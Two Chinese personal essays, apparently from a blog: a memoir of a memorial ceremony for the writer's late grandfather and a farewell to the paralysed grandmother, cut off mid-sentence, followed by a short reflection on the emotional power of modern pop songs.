上周值外公八十岁生日,家里人决定要办几桌,其实他已经于一年前归西,不然则怎么也要搞个好几十桌的。其实同一个区县的风俗也大异,让我得知后十分诧异,同时欣然前往。办的仪式是仍然挂着幡,设着灵台,道士们写符表、敲锣打鼓,又是烧纸又是放火炮,很是闹热。路上行人不免转头看几眼,以为又有什么事发生。我们五六个人一起包纸钱,一下午包了一千封,准备着明天烧化。外婆从好几年前就已经偏瘫,右半身不得力,生活不能完全自理。白天基本是逐日逐日的坐在板凳上,要么望一望外面,要么是耷拉着脑袋打瞌睡,一年之中绝大部分时间都是百无聊赖的度过。外公死之前好歹还有一个人天天相伴,即使在他起不了床,走路都成问题的情况下,至少每天还有这么一个人在眼睛里晃。小时候,每年有两次固定机会去外婆家,这总是我盼望的日子。每回去,外公就把我带去理发,并且剪个精光。而每天一到吃饭时候,外婆总是逐个逐个的去叫。我的去外婆家是什么也不用管,只负责去找他们一些稀奇古怪的东西玩,看电视,一到饭点自然有人来叫我吃。并且所有的人对我都是喜爱有加。那时童年的时光,真是一段难以磨灭的记忆。在外婆偏瘫之前,她是一个闲不下来的人。白天出去经常是背一个背篓,在家不是做这样就是做那样,虽然一天忙忙碌碌,但是她是一个很快乐的人。因为她能做这么多人吃的饭,能洗这么多人穿的衣。现而今,终日独坐在板凳上,偶尔慢慢的起身扶着桌子挪几步。她心里想的曾经和我们说的是:“我宁愿一天动到,也不想一天坐倒耍。”在她偏瘫之后这几年,心情最舒服的事情莫过于子子孙孙们的归来,但相处时间往往是短暂的,分别又是必然。因这次外公八十岁祭日,我们头天就回去了,到了下午,由于要回重庆上班,我提前把饭给吃了,临了,我走到她身边,弯下身子说:“家家,我走了哦。”外婆听了,嘴角往下一坠,抬起手来擦着眼睛说:“才回来,又要走哦,下回又好久回来嘛。”我说:“过两三个星期我又要回来的,你放心。”我边说边把餐巾纸拿出来,递到她怀中,外婆慢慢拿起来揩了揩眼角。我在旁边立了不到一分钟,然后就去和其他人打个招呼就上车走了。这几天我经常在回忆这个场景,我想,在我告别她落泪的那一刻,我不应该仅仅只是拿出…

现代歌曲的艺术触感

艺术是抒发情感的,音乐尤其直接,它通过听觉刺激大脑,容易产生情感的共鸣。现代流行歌曲对情感的表达,擅长于男女之间的情爱演绎,如“不喜欢孤独,却又害怕两个人相处,这分明是一种痛苦。”含蓄委婉的述说“天青色等烟雨,而我在这里,炊烟袅袅升起,晕开了结局。”前者直白,后者含蓄,都是比较优美的语言。我们听了这么多现代歌曲,好的歌词我们往往记不住,只有哼着那个旋律时才能唱下去。一首歌曲打动了你,是抒发的情感引起自己的共鸣,当你被感染之后,便沉浸在自己的回忆中,或产生想象,其实忽略了歌曲本身。艺术最重要的是情感的抒发与境界的营造。流行歌曲面对的是不愿下力去训练欣赏能力的大众。每个人都有不同的嗜好,但应当去追求更优质的体验。有时我们无意间突然听到一首歌,感觉非常好,触动了你的神经。过了这一刻,往往会淡忘,并未想过要将其带给你的感觉保留或深入。这一刻的触动却在你大脑中永远刻下了印迹。在各种各样的艺术的刺激或感染中,有一些是值得我们深入体味的。让那一种感觉融化在身体里,嬗化为自己精神境界的精灵,让它涤荡去生活带来的消极与阴郁,使人生感受更多的美丽景色。

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